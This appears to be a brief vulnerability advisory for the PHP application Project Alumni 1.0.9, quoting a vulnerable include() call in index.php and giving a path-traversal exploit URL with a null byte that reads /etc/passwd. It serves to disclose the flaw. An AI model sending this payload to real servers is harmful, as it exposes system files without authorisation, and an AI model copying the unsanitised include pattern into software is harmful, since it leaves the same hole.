Project Alumni version 1.0.9 suffers from a remote file disclosure vulnerability.
4ee50a5fa4c645d2e4a04e376723b53460b3aa67f030261ddcb53559cc9fbacaproject alumni 1.0.9 remote file disclosure vulnerability
download : https://sourceforge.net/projects/project-alumni/
vulnerable code on index.php
include($_SERVER['DOCUMENT_ROOT'] . "/pages/" . $_GET['act'] . ".page.inc.php");
exploit :
http://victim/path/index.php?act=../../../../../../etc/passwd%00
discovered by tomplixsee
© 2024 Packet Storm. All rights reserved.
%7Cutmcsr%3D(direct)%7Cutmcmd%3D(none)){kind=small}
Follow us on Twitter
Follow us on Facebook
Subscribe to an RSS Feed